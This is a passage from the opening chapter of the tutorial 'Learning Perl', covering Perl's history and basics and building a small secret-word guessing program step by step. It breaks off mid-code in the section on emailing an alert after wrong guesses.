Perl is short for "Practical Extraction and Report Language," although it has also been called a "Pathologically Eclectic Rubbish Lister." There's no point in arguing which one is more correct, because both are endorsed by Larry Wall, Perl's creator and chief architect, implementor, and maintainer. He created Perl when he was trying to produce some reports from a Usenet-news-like hierarchy of files for a bug-reporting system, and awk ran out of steam. Larry, being the lazy programmer that he is, decided to over-kill the problem with a general-purpose tool that he could use in at least one other place. The result was the first version of Perl.

After playing with this version of Perl a bit, adding stuff here and there, Larry released it to the community of Usenet readers, commonly known as "the Net." The users on this ragtag fugitive fleet of systems around the world (tens of thousands of them) gave him feedback, asking for ways to do this, that, or the other, many of which Larry had never envisioned his little Perl handling.

But as a result, Perl grew, and grew, and grew, at about the same rate as the UNIX operating system. (For you newcomers, the entire UNIX kernel used to fit in 32K! And now we're lucky if we can get it in under a few meg.) It grew in features. It grew in portability. What was once a little language now had over a thousand pages of documentation split across dozens of different manpages, a 600-page Nutshell reference book, a handful of Usenet newsgroups with 200,000 subscribers, and now this gentle introduction.

Larry is no longer the sole maintainer of Perl, but retains his executive title of chief architect. And Perl is still growing.

This book was tested with Perl version 5.0 patchlevel 4 (the most recent release as I write this). Everything here should work with 5.0 and future releases of Perl. In fact, Perl 1.0 programs work rather well with recent releases, except for a few odd changes made necessary in the name of progress.

Previous: We'd Like to Hear from You | Learning Perl | Next: 1.2 Purpose of Perl
We'd Like to Hear from You | Book Index | 1.2 Purpose of Perl


[Chapter 1] 1.2 Purpose of Perl

Learning PerlSearch this book

1.2 Purpose of Perl

Perl is designed to assist the programmer with common tasks that are probably too heavy or too portability-sensitive for the shell, and yet too weird or short-lived or complicated to code in C or some other UNIX glue language.

Once you become familiar with Perl, you may find yourself spending less time trying to get shell quoting (or C declarations) right, and more time reading Usenet news and downhill snowboarding, because Perl is a great tool for leverage. Perl's powerful constructs allow you to create (with minimal fuss) some very cool one-up solutions or general tools. Also, you can drag those tools along to your next job, because Perl is highly portable and readily available, so you'll have even more time there to read Usenet news and annoy your friends at karaoke bars.

Like any language, Perl can be "write-only"; it's possible to write programs that are impossible to read. But with proper care, you can avoid this common accusation. Yes, sometimes Perl looks like line noise to the uninitiated, but to the seasoned Perl programmer, it looks like checksummed line noise with a mission in life. If you follow the guidelines of this book, your programs should be easy to read and easy to maintain, but they probably won't win any obfuscated Perl contests.

Previous: 1.1 History of Perl | Learning Perl | Next: 1.3 Availability
1.1 History of Perl | Book Index | 1.3 Availability


[Chapter 1] 1.3 Availability

Learning PerlSearch this book

1.3 Availability

If you get

perl: not found

when you try to invoke Perl from the shell, your system administrator hasn't caught the fever yet. But even if it's not on your system, you can get it for free (or nearly so).

Perl is distributed under the GNU Public License,[1] which says something like, "you can distribute binaries of Perl only if you make the source code available at no cost, and if you modify Perl, you have to distribute the source to your modifications as well." And that's essentially free. You can get the source to Perl for the cost of a blank tape or a few megabytes over a wire. And no one can lock Perl up and sell you just binaries for their particular idea of "supported hardware configurations."

[1] Or the slightly more liberal Artistic License, found in the distribution sources.

In fact, it's not only free, but it runs rather nicely on nearly everything that calls itself UNIX or UNIX-like and has a C compiler. This is because the package comes with an arcane configuration script called Configure that pokes and prods the system directories looking for things it requires, and adjusts the include files and defined symbols accordingly, turning to you for verification of its findings.

Besides UNIX or UNIX-like systems, people have also been addicted enough to Perl to port it to the Amiga, the Atari ST, the Macintosh family, VMS, OS/2, even MS/DOS and Windows NT and Windows 95 - and probably even more by the time you read this. The sources for Perl (and many precompiled binaries for non-UNIX architectures) are available from the Comprehensive Perl Archive Network (the CPAN). If you are web-savvy, visit http://www.perl.com/CPAN for one of the many mirrors. If you're absolutely stumped, write bookquestions@oreilly.com and say "Where can I get Perl?!?!"

Previous: 1.2 Purpose of Perl | Learning Perl | Next: 1.4 Basic Concepts
1.2 Purpose of Perl | Book Index | 1.4 Basic Concepts


[Chapter 1] 1.4 Basic Concepts

Learning PerlSearch this book

1.4 Basic Concepts

A shell script is nothing more than a sequence of shell commands stuffed into a text file. The file is then "made executable" by turning on the execute bit (via chmod +x filename) and then the name of the file is typed at a shell prompt. Bingo, one shell program. For example, a script to run the date command followed by the who command can be created and executed like this:

% echo date >somescript
% echo who >>somescript
% cat somescript
date
who
% chmod +x somescript
% somescript
[output of date followed by who]
%

Similarly, a Perl program is a bunch of Perl statements and definitions thrown into a file. You then turn on the execute bit[2] and type the name of the file at a shell prompt. However, the file has to indicate that this is a Perl program and not a shell program, so you need an additional step.

[2] On UNIX systems, that is. For directions on how to render your scripts executable on non-UNIX systems, see the Perl FAQ or your port's release notes.

Most of the time, this step involves placing the line

#!/usr/bin/perl

as the first line of the file. But if your Perl is stuck in some nonstandard place, or your system doesn't understand the #! line, you'll have a little more work to do. Check with your Perl installer about this. The examples in this book assume that you use this common mechanism.

Perl is mostly a free-format language like C - whitespace between tokens (elements of the program, like print or +) is optional, unless two tokens put together can be mistaken for another token, in which case whitespace of some kind is mandatory. (Whitespace consists of spaces, tabs, newlines, returns, or formfeeds.) There are a few constructs that require a certain kind of whitespace in a certain place, but they'll be pointed out when we get to them. You can assume that the kind and amount of whitespace between tokens is otherwise arbitrary.

Although nearly any Perl program can be written all on one line, typically a Perl program is indented much like a C program, with nested parts of statements indented more than the surrounding parts. You'll see plenty of examples showing a typical indentation style throughout this book.

Just like a shell script, a Perl program consists of all of the Perl statements of the file taken collectively as one big routine to execute. There's no concept of a "main" routine as in C.

Perl comments are like (modern) shell comments. Anything from an unquoted pound sign (#) to the end of the line is a comment. There are no C-like multiline comments.

Unlike most shells (but like awk and sed ), the Perl interpreter completely parses and compiles the program into an internal format before executing any of it. This means that you can never get a syntax error from the program once the program has started, and that the whitespace and comments simply disappear and won't slow the program down. This compilation phase ensures the rapid execution of Perl operations once it is started, and it provides additional motivation for dropping C as a systems utility language merely on the grounds that C is compiled.

This compilation does take time; it's inefficient to have a voluminous Perl program that does one small quick task (out of many potential tasks) and then exits, because the run-time for the program will be dwarfed by the compile-time.

So Perl is like a compiler and an interpreter. It's a compiler because the program is completely read and parsed before the first statement is executed. It's an interpreter because there is no object code sitting around filling up disk space. In some ways, it's the best of both worlds. Admittedly, a caching of the compiled object code between invocations, or even translation into native machine code, would be nice. Actually, a working version of such a compiler already exists and is currently scheduled to be bundled into the 5.005 release. See the Perl FAQ for current status.

Previous: 1.3 Availability | Learning Perl | Next: 1.5 A Stroll Through Perl
1.3 Availability | Book Index | 1.5 A Stroll Through Perl


[Chapter 1] 1.5 A Stroll Through Perl

Learning PerlSearch this book

1.5 A Stroll Through Perl

We begin our journey through Perl by taking a little stroll. This stroll presents a number of different features by hacking on a small application. The explanations here are extremely brief; each subject area is discussed in much greater detail later in this book. But this little stroll should give you a quick taste for the language, and you can decide if you really want to finish this book rather than read some more Usenet news or run off to the ski slopes.

1.5.1 The "Hello, World" Program

Let's look at a little program that actually does something. Here is your basic "Hello, world" program:

#!/usr/bin/perl -w
print ("Hello, world!\n");

The first line is the incantation that says this is a Perl program. It's also a comment for Perl; remember that a comment is anything from a pound sign to the end of that line, as in many interpreter programming languages. Unlike all other comments in the program, the one on the first line is special: Perl looks at that line for any optional arguments. In this case, the -w switch was used. This very important switch tells Perl to produce extra warning messages about potentially dangerous constructs. You should always develop your programs under -w.

The second line is the entire executable part of this program. Here we see a print function. The built-in function print starts it off, and in this case has just one argument, a C-like text string. Within this string, the character combination \n stands for a newline character. The print statement is terminated by a semicolon (;). As in C, all simple statements in Perl are terminated by a semicolon.[3]

[3] The semicolon can be omitted when the statement is the last statement of a block or file or eval.

When you invoke this program, the kernel fires up a Perl interpreter, which parses the entire program (all two lines of it, counting the first, comment line) and then executes the compiled form. The first and only operation is the execution of the print function, which sends its arguments to the output. After the program has completed, the Perl process exits, returning back a successful exit code to the parent shell.

Soon you'll see Perl programs where print and other functions are sometimes called with parentheses, other times without them. The rule is simple: in Perl, parentheses for built-in functions are never required nor forbidden. Their use can help or hinder clarity, so use your own judgment.

1.5.2 Asking Questions and Remembering the Result

Let's add a bit more sophistication. The Hello, world greeting is a touch cold and inflexible. Let's have the program call you by your name. To do this, we need a place to hold the name, a way to ask for the name, and a way to get a response.

One kind of place to hold values (like a name) is a scalar variable. For this program, we'll use the scalar variable $name to hold your name. We'll go into more detail in Chapter 2, Scalar Data, about what these variables can hold, and what you can do with them. For now, assume that you can hold a single number or string (sequence of characters) in a scalar variable.

The program needs to ask for the name. To do that, we need a way to prompt and a way to accept input. The previous program showed us how to prompt: use the print function. And the way to get a line from the terminal is with the <STDIN> construct, which (as we're using it here) grabs one line of input. We assign this input to the $name variable. This gives us the program:

print "What is your name? ";
$name = <STDIN>;

The value of $name at this point has a terminating newline (Randal comes in as Randal\n). To get rid of that, we use the chomp function, which takes a scalar variable as its sole argument and removes the trailing newline (record separator), if present, from the string value of the variable:

chomp ($name);

Now all we need to do is say Hello, followed by the value of the $name variable, which we can do in a shell-like fashion by embedding the variable inside the quoted string:

print "Hello, $name!\n";

As with the shell, if we want a dollar sign rather than a scalar variable reference, we can precede the dollar sign with a backslash.

Putting it all together, we get:

#!/usr/bin/perl -w
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
print "Hello, $name!\n";

1.5.3 Adding Choices

Now, let's say we have a special greeting for Randal, but want an ordinary greeting for anyone else. To do this, we need to compare the name that was entered with the string Randal, and if it's the same, do something special. Let's add a C-like if-then-else branch and a comparison to the program:

#!/usr/bin/perl
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name eq "Randal") {
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
}

The eq operator compares two strings. If they are equal (character-for-character, and have the same length), the result is true. (There's no comparable operator[4] in C or C++.)

[4] Well, OK, there's a standard libc subroutine. But that's not an operator.

The if statement selects which block of statements (between matching curly braces) is executed; if the expression is true, it's the first block, otherwise it's the second block.

1.5.4 Guessing the Secret Word

Well, now that we have the name, let's have the person running the program guess a secret word. For everyone except Randal, we'll have the program repeatedly ask for guesses until the person guesses properly. First the program, and then an explanation:

#!/usr/bin/perl -w
$secretword = "llama"; # the secret word
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Randal") {
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
  }
}

First, we define the secret word by putting it into another scalar variable, $secretword. After the greeting the (non-Randal) person is asked (with another print) for the guess. The guess is compared with the secret word using the ne operator, which returns true if the strings are not equal (this is the logical opposite of the eq operator). The result of the comparison controls a while loop, which executes the block as long as the comparison is true.

Of course, this is not a very secure program, because anyone who is tired of guessing can merely interrupt the program and get back to the prompt, or even look at the source to determine the word. But, we weren't trying to write a security system, just an example for this section.

1.5.5 More than One Secret Word

Let's see how we can modify this to allow more than one valid secret word. Using what we've already seen, we could compare the guess repeatedly against a series of good answers stored in separate scalar variables. However, such a list would be hard to modify or read in from a file or compute based on the day of the week.

A better solution is to store all possible answers in a data structure called a list, or (preferably) an array. Each element of the array is a separate scalar variable that can be independently set or accessed. The entire array can also be given a value in one fell swoop. We can assign a value to the entire array named @words so that it contains three possible good passwords:

@words = ("camel","llama","alpaca");

Array variable names begin with @, so they are distinct from scalar variable names. Another way to write this so that we don't have to put all those quote marks there is with the qw() operator, like so:

@words = qw(camel llama alpaca);

These mean exactly the same thing; the qw makes it as if we had quoted each of three strings.

Once the array is assigned, we can access each element using a subscript reference. So $words[0] is camel, $words[1] is llama, and $words[2] is alpaca. The subscript can be an expression as well, so if we set $i to 2, then $words[$i] is alpaca. (Subscript references start with $ rather than @ because they refer to a single element of the array rather than the whole array.) Going back to our previous example:

#!/usr/bin/perl -w
@words = qw(camel llama alpaca);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name eq "Randal") {
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n";        # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    $i = 0; # try this word first
    $correct = "maybe";             # is the guess correct or not?
    while ($correct eq "maybe") {   # keep checking til we know
        if ($words[$i] eq $guess) { # right?
            $correct = "yes";       # yes!
        } elsif ($i < 2) {          # more words to look at?
            $i = $i + 1;            # look at the next word next time
        } else {                    # no more words, must be bad
            print "Wrong, try again. What is the secret word?";
            $guess = <STDIN>;
            chomp ($guess);
            $i = 0;            # start checking at the first word again
        }
    } # end of while not correct
} # end of "not Randal"

You'll notice we're using the scalar variable $correct to indicate that we are either still looking for a good password or that we've found one.

This program also shows the elsif block of the if-then-else statement. This exact construct is not present in all programming languages; it's an abbreviation of the else block together with a new if condition, but without nesting inside yet another pair of curly braces. It's a very Perl-like thing to compare a set of conditions in a cascaded if-elsif-elsif-elsif-else chain. Perl doesn't really have the equivalent of C's "switch" or Pascal's "case" statement, although you can build one yourself without too much trouble. See Chapter 2 of Programming Perl or the perlsyn (1) manpage for details.

1.5.6 Giving Each Person a Different Secret Word

In the previous program, any person who comes along could guess any of the three words and be successful. If we want the secret word to be different for each person, we'll need a table that matches up people with words:

Person | Secret Word
Fred | camel
Barney | llama
Betty | alpaca
Wilma | alpaca

Notice that both Betty and Wilma have the same secret word. This is fine.

The easiest way to store such a table in Perl is with a hash. Each element of the hash holds a separate scalar value (just like the other type of array), but the hashes are referenced by a key, which can be any scalar value (any string or number, including noninteger and negative values). To create a hash called %words (notice the % rather than @) with the keys and values given in the table above, we assign a value to %words (much as we did earlier with the array):

%words = qw(
    fred       camel
    barney     llama
    betty      alpaca
    wilma      alpaca
);

Each pair of values in the list represents one key and its corresponding value in the hash. Note that we broke this assignment over many lines without any sort of line-continuation character, because whitespace is generally insignificant in a Perl program.

To find the secret word for Betty, we need to use Betty as the key in a reference to the hash %words, via some expression such as $words{"betty"}. The value of this reference is alpaca, similar to what we had before with the other array. Also as before, the key can be any expression, so setting $person to betty and evaluating $words{$person} gives alpaca as well.

Putting all this together, we get a program like this:

#!/usr/bin/perl
%words = qw(
    fred        camel
    barney      llama
    betty       alpaca
    wilma       alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name eq "Randal") {
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n";     # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}

Note the lookup of the secret word. If the name is not found, the value of $secretword will be an empty string,[5] which we can then check for if we want to define a default secret word for everyone else. Here's how that looks:

[... rest of program deleted ...]
    $secretword = $words{$name}; # get the secret word
    if ($secretword eq "") {     # oops, not found
        $secretword = "groucho"; # sure, why a duck?
    }
    print "What is the secret word? ";
[... rest of program deleted ...]

[5] Well, OK, it's the undef value, but it looks like an empty string to the eq operator. You'd get a warning about this if you used -w on the command line, which is why we omitted it here.

1.5.7 Handling Varying Input Formats

If I enter Randal L. Schwartz or randal rather than Randal, I'm lumped in with the rest of the users, because the eq comparison is an exact equality. Let's look at one way to handle that.

Suppose I wanted to look for any string that began with Randal, rather than just a string that was equal to Randal. I could do this in sed, awk, or grep with a regular expression: a template that defines a collection of strings that match. As in sed, awk, or grep, the regular expression in Perl that matches any string that begins with Randal is ^Randal. To match this against the string in $name, we use the match operator as follows:

if ($name =~ /^Randal/) {
    ## yes, it matches
} else {
    ## no, it doesn't
}

Note that the regular expression is delimited by slashes. Within the slashes, spaces and other whitespace are significant, just as they are within strings.

This almost does it, but it doesn't handle selecting randal or rejecting Randall. To accept randal, we add the ignore-case option, a small i appended after the closing slash. To reject Randall, we add a word boundary special marker (similar to vi and some versions of grep) in the form of \b in the regular expression. This ensures that the character following the first l in the regular expression is not another letter. This changes the regular expression to be /^randal\b/i, which means "randal at the beginning of the string, no letter or digit following, and OK to be in either case."

When put together with the rest of the program, it looks like this:

#!/usr/bin/perl
%words = qw(
    fred        camel
    barney      llama
    betty       alpaca
    wilma       alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^randal\b/i) {
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    if ($secretword eq "") { # oops, not found
        $secretword = "groucho"; # sure, why a duck?
    }
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}

As you can see, the program is a far cry from the simple Hello, world, but it's still very small and workable, and does quite a bit for being so short. This is The Perl Way.

Perl provides every regular expression feature found in every standard UNIX utility (and even some nonstandard ones). Not only that, but the way Perl handles string matching is about the fastest on the planet, so you don't lose performance. (A grep-like program written in Perl often beats the vendor-supplied[6] C-coded grep for most inputs. This means that grep doesn't even do its one thing very well.)

[6] GNU egrep tends to be much faster than Perl at this.

1.5.8 Making It Fair for the Rest

So, now I can enter Randal or randal or Randal L. Schwartz, but what about everyone else? Barney still has to say exactly barney (not even barney followed by a space).

To be fair to Barney, we need to grab the first word of whatever's entered, and then convert it to lowercase before we look up the name in the table. We do this with two operators: the substitute operator, which finds a regular expression and replaces it with a string, and the translate operator, to put the string in lowercase.

First, the substitute operator: we want to take the contents of $name, find the first nonword character, and zap everything from there to the end of the string. /\W.*/ is the regular expression we are looking for: the \W stands for a nonword character (something besides a letter, digit, or underscore), and .* means any characters from there to the end of the line. Now, to zap these characters away, we need to take whatever part of the string matches this regular expression and replace it with nothing:

$name =~ s/\W.*//;

We're using the same =~ operator that we did before, but now on the right we have a substitute operator: the letter s followed by a slash-delimited regular expression and string. (The string in this example is the empty string between the second and third slashes.) This operator looks and acts very much like the substitutions of the various editors.

Now, to get whatever's left into lowercase, we translate the string using the tr operator.[7] It looks a lot like a UNIX tr command, taking a list of characters to find and a list of characters to replace them with. For our example, to put the contents of $name in lowercase, we use:

$name =~ tr/A-Z/a-z/;

[7] This doesn't work for characters with accent marks, although the uc function would. See the perllocale (1) manpage first distributed with the 5.004 release of Perl for details.

The slashes delimit the searched-for and replacement character lists. The dash between A and Z stands for all the characters in between, so we have two lists that are each 26 characters long. When the tr operator finds a character from the string in the first list, the character is replaced with the corresponding character in the second list. So all uppercase A's become lowercase a's, and so on.[8]

[8] Experts will note that we could have also constructed something like s/(\S*).*/\L$1/ to do this all in one fell swoop, but experts probably won't be reading this section.

Putting that together with everything else results in:

#!/usr/bin/perl
%words = qw(
    fred        camel
    barney      llama
    betty       alpaca
    wilma       alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
$original_name = $name; #save for greeting
$name =~ s/\W.*//; # get rid of everything after first word
$name =~ tr/A-Z/a-z/; # lowercase everything
if ($name eq "randal") { # ok to compare this way now
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $original_name!\n"; # ordinary greeting
    $secretword = $words{$name}; # get the secret word
    if ($secretword eq "") { # oops, not found
        $secretword = "groucho"; # sure, why a duck?
    }
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}

Notice how the regular expression match for Randal became a simple comparison again. After all, both Randal L. Schwartz and Randal become randal after the substitution and translation. And everyone else gets a fair ride, because Fred and Fred Flintstone both become fred; Barney Rubble and Barney, the little guy become barney, and so on.

With just a few statements, we've made the program much more user-friendly. You'll find that expressing complicated string manipulation with a few keystrokes is one of Perl's many strong points.

However, hacking away at the name so that we could compare it and look it up in the table destroyed the name that was entered. So, before the program hacks on the name, it saves it in $original_name. (Like C symbols, Perl variable names consist of letters, digits, and underscores and can be of nearly unlimited length.) We can then make references to $original_name later.

Perl has many ways to monitor and mangle strings. You'll find out about most of them in Chapter 7, Regular Expressions, and Chapter 15, Other Data Transformation.

1.5.9 Making It a Bit More Modular

Now that we've added so much to the code, we have to scan through many detailed lines before we can get the overall flow of the program. What we need is to separate the high-level logic (asking for a name, looping based on entered secret words) from the details (comparing a secret word to a known good word). We might do this for clarity, or maybe because one person is writing the high-level part and another is writing (or has already written) the detailed parts.

Perl provides subroutines that have parameters and return values. A subroutine is defined once in a program, and can be used repeatedly by being invoked from within any expression.

For our small-but-rapidly-growing program, let's create a subroutine called good_word that takes a name and a guessed word, and returns true if the word is correct and false if not. The definition of such a subroutine looks like this:

sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//; # get rid of everything after first word
    $somename =~ tr/A-Z/a-z/; # lowercase everything
    if ($somename eq "randal") { # should not need to guess
        return 1; # return value is true
    } elsif (($words{$somename} || "groucho") eq $someguess) {
        return 1; # return value is true
    } else {
        return 0; # return value is false
    }
}

First, the definition of a subroutine consists of the reserved word sub followed by the subroutine name followed by a block of code (delimited by curly braces). This definition can go anywhere in the program file, though most people put it at the end.

The first line within this particular definition is an assignment that copies the values of the two parameters of this subroutine into two local variables named $somename and $someguess. (The my() defines the two variables as private to the enclosing block - in this case, the entire subroutine - and the parameters are initially in a special local array called @_.)

The next two lines clean up the name, just like the previous version of the program.

The if-elsif-else statement decides whether the guessed word ($someguess) is correct for the name ($somename). Randal should not make it into this subroutine, but even if it does, whatever word was guessed is OK.

A return statement can be used to make the subroutine immediately return to its caller with the supplied value. In the absence of an explicit return statement, the last expression evaluated in a subroutine is the return value. We'll see how the return value is used after we finish describing the subroutine definition.

The test for the elsif part looks a little complicated; let's break it apart:

($words{$somename} || "groucho") eq $someguess

The first thing inside the parentheses is our familiar hash lookup, yielding some value from %words based on a key of $somename. The operator between that value and the string groucho is the || (logical-or) operator similar to that used in C and awk and the various shells. If the lookup from the hash has a value (meaning that the key $somename was in the hash), the value of the expression is that value. If the key could not be found, the string of groucho is used instead. This is a very Perl-like thing to do: specify some expression, and then provide a default value using || in case the expression turns out to be false.

In any case, whether it's a value from the hash, or the default value groucho, we compare it to whatever was guessed. If the comparison is true, we return 1, otherwise we return 0.

So, expressed as a rule, if the name is randal, or the guess matches the lookup in %words based on the name (with a default of groucho if not found), then the subroutine returns 1, otherwise it returns 0.

Now let's integrate all this with the rest of the program:

#!/usr/bin/perl
%words = qw(
    fred        camel
    barney      llama
    betty       alpaca
    wilma       alpaca
);
print "What is your name? ";
$name = <STDIN>;
chomp ($name);
if ($name =~ /^randal\b/i) { # back to the other way :-)
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while (! good_word($name,$guess)) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}
[... insert definition of good_word() here ...]

Notice that we've gone back to the regular expression to check for Randal, because now there's no need to pull apart the first name and convert it to lowercase, as far as the main program is concerned.

The big difference is the while loop containing the subroutine good_word. Here, we see an invocation of the subroutine, passing it two parameters, $name and $guess. Within the subroutine, the value of $somename is set from the first parameter, in this case $name. Likewise, $someguess is set from the second parameter, $guess.

The value returned by the subroutine (either 1 or 0, recalling the definition given earlier) is logically inverted with the prefix ! (logical not) operator. This operator returns true if the expression following is false, and returns false if the expression following is true. The result of this negation controls the while loop. You can read this as "while it's not a good word...". Many well-written Perl programs read very much like English, provided you take a few liberties with either Perl or English. (But you certainly won't win a Pulitzer that way.)

Note that the subroutine assumes that the value of the %words hash is set by the main program.

Such a cavalier approach to global variables doesn't scale very well, of course. Generally speaking, variables not created with my are global to the whole program, while those my creates last only until the block in which they were declared exits. Don't worry: Perl does in fact support a rich variety of other kinds of variables, including those private to a file (or package), as well as variables private to a function that retain their values between invocations, which is what we could really use here. However, at this stage in your Perl education, explaining these would only complicate your life. When you're ready for it, check out what Programming Perl has to say about scoping, subroutines, modules, and objects, or see the online documentation in the perlsub (1), perlmod (1), perlobj (1), and perltoot (1) manpages.

1.5.10 Moving the Secret Word List into a Separate File

Suppose we wanted to share the secret word list among three programs. If we store the word list as we have done already, we will need to change all three programs when Betty decides that her secret word should be swine rather than alpaca. This can get to be a hassle, especially if Betty changes her mind often.

So, let's put the word list into a file and then read the file to get the word list into the program. To do this, we need to create an I/O channel called a filehandle. Your Perl program automatically gets three filehandles called STDIN, STDOUT, and STDERR, corresponding to the three standard I/O channels in most programming environments. We've already been using the STDIN handle to read data from the person running the program. Now, it's just a matter of getting another handle attached to a file of our own choice.

Here's a small chunk of code to do that:

sub init_words {
    open (WORDSLIST, "wordslist");
    while ($name = <WORDSLIST>) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp ($word);
        $words{$name} = $word;
    }
    close (WORDSLIST);
}

We're putting it into a subroutine so that we can keep the main part of the program uncluttered. This also means that at a later time (hint: a few revisions down in this stroll), we can change where the word list is stored, or even the format of the list.

The arbitrarily chosen format of the word list is one item per line, with names and words, alternating. So, for our current database, we'd have something like this:

fred
camel
barney
llama
betty
alpaca
wilma
alpaca

The open function initializes a filehandle named WORDSLIST by associating it with a file named wordslist in the current directory. Note that the filehandle doesn't have a funny character in front of it as the three variable types do. Also, filehandles are generally uppercase - although they aren't required to be - for reasons detailed later.

The while loop reads lines from the wordslist file (via the WORDSLIST filehandle) one line at a time. Each line is stored into the $name variable. At the end of the file, the value returned by the <WORDSLIST> operation is the empty string,[9] which looks false to the while loop, and terminates it. That's how we get out at the end.

[9] Well, technically it's undef, but close enough for this discussion.

If you were running with -w, you would have to check that the return value read in was actually defined. The empty string returned by the <WORDLIST> operation isn't merely empty: it's undef again. The defined function is how you test for undef when this matters. When reading lines from a file, you'd do the test this way:

 while ( defined ($name = <WORDLIST>) ) {

But if you were being that careful, you'd probably also have checked to make sure that open returned a true value. You know, that's probably not a bad idea either. The built-in die function is frequently used to exit the program with an error message in case something goes wrong. We'll see an example of it in the next revision of the program.

On the other hand, the normal case is that we've read a line (including the newline) into $name. First, off comes the newline using the chomp function. Then, we have to read the next line to get the secret word, holding that in the $word variable. It, too, gets the newline hacked off.

The final line of the while loop puts $word into %words with a key of $name, so that the rest of the program can access it later.

Once the file has been read, the filehandle can be recycled with the close function. (Filehandles are automatically closed anyway when the program exits, but we're trying to be tidy. If we were really tidy, we'd even check for a true return value from close in case the disk partition the file was on went south, its network filesystem became unreachable, or some other catastrophe occurred. Yes, these things really do happen. Murphy will always be with us.)

This subroutine definition can go after or before the other one. And we invoke the subroutine instead of setting %words in the beginning of the program, so one way to wrap up all of this might look like:

#!/usr/bin/perl
init_words();
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name =~ /^randal\b/i) { # back to the other way :-)
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp ($guess);
    while (! good_word($name,$guess)) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp ($guess);
    }
}
## subroutines from here down
sub init_words {
    open (WORDSLIST, "wordslist") ||
                              die "can't open wordlist: $!";
    while ( defined ($name = <WORDSLIST>)) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp $word;
        $words{$name} = $word;
    }
    close (WORDSLIST) || die "couldn't close wordlist: $!";
}
sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//;         # delete everything after
                                   # first word
    $somename =~ tr/A-Z/a-z/;      # lowercase everything
    if ($somename eq "randal") {   # should not need to guess
        return 1;                  # return value is true
    } elsif (($words{$somename} || "groucho") eq $someguess) {
        return 1;                  # return value is true
    } else {
        return 0;                  # return value is false
    }
}

Now it's starting to look like a full grown program. Notice the first executable line is an invocation of init_words(). The return value is not used in a further calculation, which is good because we didn't return anything remarkable. In this case, it's guaranteed to be a true value (the value 1, in particular), because if the close had failed, the die would have printed a message to STDERR and exited the program. The die function is fully explained in Chapter 10, Filehandles and File Tests, but because it's essential to check the return values of anything that might fail, we'll get into the habit of using it right from the start. The $! variable (also explained in Chapter 10), contains the system error message explaining why the system call failed.

The open function is also used to open files for output, or open programs as files (demonstrated shortly). The full scoop on open comes much later in this book, however, in Chapter 10.

1.5.11 Ensuring a Modest Amount of Security

"That secret word list has got to change at least once a week!" cries the Chief Director of Secret Word Lists. Well, we can't force the list to be different, but we can at least issue a warning if the secret word list has not been modified in more than a week.

The best place to do this is in the init_words() subroutine; we're already looking at the file there. The Perl operator -M returns the age in days since a file or filehandle has last been modified, so we just need to see whether this is greater than seven for the WORDSLIST filehandle:

sub init_words {
    open (WORDSLIST, "wordslist") ||
                               die "can't open wordlist: $!";
    if (-M WORDSLIST >= 7.0) { # comply with bureaucratic policy
        die "Sorry, the wordslist is older than seven days.";
    }
    while ($name = <WORDSLIST>) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp ($word);
        $words{$name} = $word;
    }
    close (WORDSLIST) || die "couldn't close wordlist: $!";
}

The value of -M WORDSLIST is compared to seven, and if greater, bingo, we've violated policy.

The rest of the program remains unchanged, so in the interest of saving a few trees, I won't repeat it here.

Besides getting the age of a file, we can also find out its owner, size, access time, and everything else that the system maintains about a file. More on that in Chapter 10.

1.5.12 Warning Someone When Things Go Astray

Let's see how much we can bog down the system by sending a piece of email each time someone guesses their secret word incorrectly. We need to modify only the good_word() subroutine (thanks to modularity) because we have all the information right there.

The mail will be sent to you if you type your own mail address where the code says "YOUR_ADDRESS_HERE." Here's what we have to do: just before we return 0 from the subroutine, we create a filehandle that is actually a process (mail ), like so:

sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//;         # get rid of stuff after
                                   # first word
    $somename =~ tr/A-Z/a-z/;      # lowercase everything
